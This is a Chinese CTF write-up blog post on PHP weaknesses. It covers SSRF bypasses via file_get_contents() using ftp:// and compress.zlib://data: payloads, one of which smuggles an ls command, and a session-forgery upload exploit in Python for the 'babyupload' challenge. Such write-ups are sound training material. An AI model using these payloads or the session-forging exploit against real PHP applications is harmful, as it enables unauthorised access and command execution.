前言
很久(一年多)没有写博客了 最近在几道题中遇到了php的一些东西 正好记录一下 顺带水一篇文章 之前博客的文章全部删掉了 因为数量本来就少且质量不高所以无伤大雅 也算是准备重新开始写博客
ssrf via file_get_contents()
bytectf boring_code
部分代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php function is_valid_url($url) { if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/data:\/\//i', $url)) { return false; } return true; } return false; }
if (isset($_POST['url'])) { $url = $_POST['url']; if (is_valid_url($url)) { $r = parse_url($url); print_r($r); if (preg_match('/baidu\.com$/', $r['host'])) { echo "pass preg_match"; $code = file_get_contents($url); } } else { echo "error: host not allowed"; } } else { echo "error: invalid url"; } } else { highlight_file(__FILE__); }
|
限制为:
- filter_var 的 FILTER_VALIDATE_URL 选项
- 限制data协议
- 正则限制parse_url之后的host必须以 baidu.com 结尾
绕过方法:
- 购买域名
- 百度的任意跳转
- ftp协议(后面还会提到)
常见的对filter_var和parse_url的绕过 和file_get_contents函数都是不搭配的 也就是绕过了前两个函数 最后的url也不会被识别访问
高校战疫ctf hackme
部分代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| if (isset($_POST['url'])) { $url = $_POST['url']; if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) { echo "you are hacker"; } else { $res = parse_url($url); if (preg_match('/127\.0\.0\.1$/', $res['host'])) { $code = file_get_contents($url); if (strlen($code) <= 4) { @exec($code); } else { echo "try again"; } } } } else { echo "invalid url"; }
|
可以看到两题的逻辑几乎一致 此题限制为:
- filter_var 的 FILTER_VALIDATE_URL 选项
- 限制data协议
- 正则限制parse_url之后的host必须以 127.0.0.1 结尾
因为限制host为本地 本地也没有提供可以跳转或是直接控制回显的地方 所以几乎掐死了上面那题的绕过姿势 google一番后只剩下两条路:
第一条路是bytectf的部分队伍wp中提到的解法 但是网上没有明确的payload 查了一波文档 在file_get_contents函数所支持的协议中 确实包括了ftp协议 于是搭建了一个ftp server 进行测试
1
| file_get_contents("ftp://vps-ip:port,127.0.0.1/evil.txt");
|
在vps进行nc 确实收到了ftp请求 但是这个payload打过去之后 会直接卡住没有后续 抓包进行分析会发现ftp server端回应了ftp请求 给出了passive模式的连接端口 但是ftp client 也就是file_get_contents函数没有进行连接 而是一直等待 最后造成了卡住的结果
这题当时的解决想法是手撸一个ftp_server进行交互 但碍于时间关系最后还是没有做出来(其实是菜+嫌麻烦) 赛后找到了有相同思路的师傅的分析文章 在这里贴一个 记一次PHP SSRF绕过时遇到的坑
第二条路 看下Nu1L的wp
1
| url=compress.zlib://data:@127.0.0.1/baidu.com?,ls
|
很显然这个payload改一下拿去打bytectf那道题也是可以的 orz 测试分析一下
1
| echo file_get_contents("data:@127.0.0.1/,a");
|
这条语句的结果就是字母a 但是这个过不了filter_var 所以前面套上一个compress.zlib
总结: 当造成SSRF的点是file_get_contents时的几个利用姿势
一道session相关的题目
一些前置的点
- session存储位置为 文件路径(由save_path配置) 或 数据库
- session文件名为sess_+phpsessid
- session存储格式为序列化的字符串
- php 键名+|+serialize(值)
- php_binary 键名长度ASCII+键名+:+serialize(值)
- php_serialize ( php >= 5.5.4 ) serialize(数组)
虎符网络安全赛 babyupload
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| <?php error_reporting(0); session_save_path("/var/babyctf/"); session_start(); require_once "/flag"; highlight_file(__FILE__); if($_SESSION['username'] ==='admin') { $filename='/var/babyctf/success.txt'; if(file_exists($filename)){ safe_delete($filename); die($flag); } } else{ $_SESSION['username'] ='guest'; } $direction = filter_input(INPUT_POST, 'direction'); $attr = filter_input(INPUT_POST, 'attr'); $dir_path = "/var/babyctf/".$attr; if($attr==="private"){ $dir_path .= "/".$_SESSION['username']; } if($direction === "upload"){ try{ if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){ throw new RuntimeException('invalid upload'); } $file_path = $dir_path."/".$_FILES['up_file']['name']; $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']); if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){ throw new RuntimeException('invalid file path'); } @mkdir($dir_path, 0700, TRUE); if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){ $upload_result = "uploaded"; }else{ throw new RuntimeException('error while saving'); } } catch (RuntimeException $e) { $upload_result = $e->getMessage(); } } elseif ($direction === "download") { try{ $filename = basename(filter_input(INPUT_POST, 'filename')); $file_path = $dir_path."/".$filename; if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){ throw new RuntimeException('invalid file path'); } if(!file_exists($file_path)) { throw new RuntimeException('file not exist'); } header('Content-Type: application/force-download'); header('Content-Length: '.filesize($file_path)); header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"'); if(readfile($file_path)){ $download_result = "downloaded"; }else{ throw new RuntimeException('error while saving'); } } catch (RuntimeException $e) { $download_result = $e->getMessage(); } exit; } ?>
|
其实这题和session没多大关系 只是遇到了重新复习一下session相关的东西 主要的点就两个
- 下载session文件 得到session格式 伪造session内容后上传
- file_exists() 如果参数为一个存在的目录时 返回true
直接贴官方exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| import requests from io import BytesIO import hashlib
target_url = "http://x.changame.ichunqiu.com/"
def ReadSession(): data = { 'attr':'.', 'direction':'download', 'filename':'sess_bd6cbb52f804cc7b52d4ca5339dbd4e0' } url = target_url s = requests.get(url=url) r = requests.post(url=url,data=data) print r.content[len(s.content):]
def BeAdmin(): files = { "up_file": ("sess", BytesIO('\x08usernames:5:"admin";')) } data = { 'attr':'.', 'direction':'upload' } url = target_url r = requests.post(url=url,data=data,files=files) session_id = hashlib.sha256('\x08usernames:5:"admin";').hexdigest() return session_id
def upload_success(): files = { "up_file": ("test", BytesIO('good job!')) } data = { 'attr':'success.txt', 'direction':'upload' } url = target_url r = requests.post(url=url,data=data,files=files)
print 'Now Guest PHPSESSION Content is:',ReadSession() print 'PHPSESSID is:',BeAdmin() print 'Now Upload Success.txt' print '*'*50 upload_success() php_session_id = BeAdmin() cookies = { 'PHPSESSID':php_session_id } url = target_url s = requests.get(url) r = requests.get(url=url,cookies=cookies) print 'Now here is your flag!' print r.content[len(s.content):]
|